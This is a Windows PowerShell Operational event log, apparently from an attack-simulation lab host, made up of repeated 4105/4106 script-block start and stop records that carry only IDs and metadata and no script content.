ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046182
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046181
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046176
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046175
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046164
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046153
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046152
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046151
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046150
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046148
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046146
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046135
Keywords=None
